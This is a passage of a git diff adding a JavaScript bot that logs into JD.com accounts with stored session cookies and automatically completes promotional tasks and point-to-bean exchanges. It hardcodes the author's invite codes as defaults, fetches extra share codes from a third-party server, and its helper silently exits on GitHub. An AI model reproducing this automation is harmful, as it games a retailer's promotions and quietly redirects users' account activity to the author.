+ return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal.js b/activity/jd_immortal.js new file mode 100644 index 0000000..0449ea2 --- /dev/null +++ b/activity/jd_immortal.js @@ -0,0 +1,556 @@ +/* +京东神仙书院 +活动时间:2021-1-20至2021-2-5 +增加自动积分兑换京豆(条件默认为:至少700积分,1.4倍率) +暂不加入品牌会员,需要自行填写坐标,用于做逛身边好店任务 +环境变量:JD_IMMORTAL_LATLON(经纬度) +示例:JD_IMMORTAL_LATLON={"lat":33.1, "lng":118.1} +boxjs IMMORTAL_LATLON +活动入口:京东APP我的-神仙书院 +地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东神仙书院 +20 8,12,22 * * * jd_immortal.js, tag=京东神仙书院, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8,12,22 * * *" script-path=jd_immortal.js, tag=京东神仙书院 + +===============Surge================= +京东神仙书院 = type=cron,cronexp="20 8,12,22 * * *",wake-system=1,timeout=3600,script-path=jd_immortal.js + +============小火箭========= +京东神仙书院 = type=cron,script-path=jd_immortal.js, cronexpr="20 8,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东神仙书院'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +let scoreToBeans = $.isNode()?(process.env.JD_IMMORTAL_SCORE || 0):$.getdata('scoreToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认兑换20京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@50xIs4YwE5Z7FTId9W-KibDgxxx6AEa7189V1zSxSf2HP6681IXPQ81aJEP77WoHXLcK7QzlxGqsGqfU@43xIs4YwE5Z7DsWOzDSPKFWdkRe2Ae6h0jAdlhuSmuwcfUcZB9wBcHhj0_zyZDNK4Rhg`, + `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@43xIs4YwE5Z7DsWOzDSFehRRs_UaNcqkiU7BrrzDTKHScMcZB9wkYC2z6K-QOsQy1S3A@43xIs4YwE5Z7DsWOzDSFcl8RjNxfrQquzeGQQtkQOUbyqscZB9wkxX2jw2HhM7TczeqA` +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`您设置的兑换积分下限为${scoreToBeans}`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.risk = false + await getHomeData() + if ($.risk) return + await getTaskList($.cor) + await $.wait(2000) + await helpFriends() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}金币,当前${$.coin}金币` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask(code) + await $.wait(2000) + } +} + +function doTask(itemToken) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_doTask', {itemToken: itemToken}, 'mcxhd_brandcity_doTask'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + if (data.result.score) + console.log(`任务完成成功,获得${data.result.score}金币`) + else if (data.result.taskToken) + console.log(`任务请求成功,等待${$.duration}秒`) + else { + console.log(`任务请求结果未知`) + } + } else { + console.log(data.retMessage) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function doTask2(taskToken) { + let body = { + "dataSource": "newshortAward", + "method": "getTaskAward", + "reqParams": `{\"taskToken\":\"${taskToken}\"}` + } + return new Promise(resolve => { + $.post(taskPostUrl2("qryViewkitCallbackResult", body,), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === "0") { + console.log(data.toast.subTitle) + } else { + console.log(`任务完成失败,错误信息:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userCoinNum, userRemainScore} = data.result + if (info) { + $.earn = userCoinNum - $.coin + } else { + console.log(`当前用户金币${userCoinNum},积分${userRemainScore}`) + if (userRemainScore) { + await getExchangeInfo() + } + } + $.coin = userCoinNum + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getExchangeInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_exchangePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userRemainScore, exchageRate} = data.result + console.log(`当前用户兑换比率${exchageRate}`) + if (userRemainScore >= scoreToBeans) { + console.log(`已达到最大比率,去兑换`) + await exchange() + } + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function exchange() { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_exchange'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {consumedUserScore, receivedJbeanNum} = data.result + console.log(`兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`) + $.msg($.name, ``, `京东账号${$.index} ${$.nickName}\n兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); + if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); + } else if (data['retCode'] === "323") { + console.log(`还木有到兑换时间哦~ `) + message += `还木有到兑换时间哦~ \n` + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getTaskList(body = {}) { + + return new Promise(resolve => { + $.post(taskPostUrl("mcxhd_brandcity_taskList", body, "mcxhd_brandcity_taskList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.tasks = [] + if (data.retCode === '200') { + $.tasks = data.result.tasks + for (let vo of $.tasks) { + if (vo.taskType === "13" || vo.taskType === "2" || vo.taskType === "5" || vo.taskType === "3") { + // 签到,逛一逛 + for (let i = vo.times, j = 0; i < vo.maxTimes && j < vo.subItem.length; ++i, ++j) { + console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) + let item = vo['subItem'][j] + await doTask(item['itemToken']) + await $.wait((vo.waitDuration ? vo.waitDuration : 5 + 1) * 1000) + } + } else if (vo.taskType === "7" || vo.taskType === "9") { + // 浏览店铺,会场 + for (let i = vo.times, j = 0; i < vo.maxTimes; ++i, ++j) { + console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) + let item = vo['subItem'][j] + $.duration = vo.waitDuration + 1 + await doTask(item['itemToken']) + await $.wait((vo.waitDuration + 1) * 1000) + await doTask2(item['taskToken']) + } + } else if (vo.taskType === "6") { + // 邀请好友 + if (vo.subItem.length) { + console.log(`您的好友助力码为${vo.subItem[0].itemToken}`) + } else { + console.log(`无法查询您的好友助力码`) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/immortal/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSXSY_SHARECODES) { + if (process.env.JDSXSY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSXSY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSXSY_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + $.cor = process.env.JD_IMMORTAL_LATLON ? JSON.parse(process.env.JD_IMMORTAL_LATLON) : (await getLatLng()) + } else { + $.cor = $.getdata("IMMORTAL_LATLON") ? JSON.parse($.getdata("IMMORTAL_LATLON")) : {} + } + console.log(`您提供的地理位置信息为${JSON.stringify($.cor)}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +// 自动获取经纬度 +function getLatLng() { + return new Promise(resolve => { + try { + console.log('开始自动获取经纬度 lat lng ……'); + $.get({ + url: 'https://jingweidu.bmcx.com/web_system/bmcx_com_www/system/file/jingweidu/api/?v=20031911', + headers: { + "referer": "https://jingweidu.bmcx.com/", + 'Content-Type': 'text/html; charset=utf-8', + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + } + }, async (err, resp, data) => { + const res = data.match(/qq\.maps\.LatLng\(([\d\.]+), ([\d\.]+)\)/); + let lat = res[1]; + let lng = res[2]; + if (lat > 0 && lng > 0) { + resolve({ + 'lng': lng, + 'lat': lat + }); + return; + } + console.log('自动获取经纬度 lat lng 失败,返回经纬度结果错误'); + resolve({}); + }); + } catch (e) { + console.log('自动获取经纬度 lat lng 失败,触发异常'); + resolve({}); + } + }); +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + body = {...body, "token": 'jd17919499fb7031e5'} + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl2(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const 